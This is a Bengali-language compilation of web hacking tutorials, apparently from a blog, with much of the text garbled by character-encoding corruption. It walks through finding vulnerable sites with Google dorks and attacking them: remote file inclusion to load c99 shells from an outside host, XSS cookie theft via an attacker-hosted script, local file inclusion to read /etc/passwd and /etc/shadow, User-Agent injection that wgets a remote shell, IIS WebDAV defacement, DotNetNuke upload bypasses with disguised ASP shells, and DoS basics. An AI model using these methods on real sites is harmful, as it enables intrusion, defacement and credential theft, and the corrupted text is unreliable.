এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন

কতরচছখচছছনঃ সভচছকতদ াান

অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip

Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন

mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash

mdashmdashmdashmdashmdash

সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip

httpwwwtargetsitecomindexphppage=Anything

উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ

ldquoinurlindexphppage=rdquo

উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ

ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন

httpwwwtargetsitecomindexphppage=wwwgooglecom

এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip

httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom

তাচছর এটি সদখাচছফhellip

এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip

এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip

httph1ripwaycomtjunselectedc99shellphp

এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp

এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন

তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না

কতনফবাকতচতটিউনাযtrade

XSS কতক

XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web

Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয

ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600

xss-threat3jpg

XSS Vulnerability and Injection

যাপ ১ Vulnerable মেব িািআট োমজ মবর করা

অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks

ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=

তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন

যাপ ২ Vulnerability পরীো করা

এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন

না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password

Vulnerability যীকষা কযা জনয দটি িকতত অচছছ

পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয

http2bpblogspotcom-

8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg

পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here

যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন

এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-

পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন

সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=

এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable

যাপ ৩ Malicious Scripts মদো

Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ

এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ

httpattackerSitemaliciousjs

এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ

এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ

িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent

Persistent XSS

এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage

Non-Persistent XSS

এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily

একজি হযাকার এিআ Vulnerability সদমে সক কমর

কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা

চছযফ াআচছটয Bypassing restriction

Session Hijacking Malware Attack

Website Defacement Dos attacks

কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর

শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম

অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে

যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক

LFI

যাকাযচছদয

একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র

Local File Inclusionঅজ

অনাচছদয

াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য

পরথচছভ

কতনচছচয PHP সকাডগচছরা

সদখনhellip

$page=$_GET[page] include($page)

gt

উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক

কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ

wwwmywebsitecomindexphppage=productsphp

অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম

এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র

wwwmywebsitecomindexphppage=mypagephp

এখাচছন

সদচছখন mypagephp াতাটি

াবব াচছয

সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-

Warning

include() [functioninclude] Failed opening mypagephp for

inclusion

তাচছর

এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd

এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

এখন

অভযা পাআচছর

পরচছফ

কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip

wwwmywebsitecomindexphppage=products

এখাচছন

একটা কতজকতন রকষয করন সম

php এয

য page=products যচছযচছছ

এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র

$page=$_GET[page]

include($pagelsquophplsquo)

gt

এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpassd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip

etcprofile

etcservices

etcpasswd

etcshadow

etcgroup

etcsecuritygroup

etcsecuritypasswd

etcsecurityuser

etcsecurityenviron

etcsecuritylimits

usrlibsecuritymkuserdefault

এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ

------------------------------------------------------------------------------------------

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

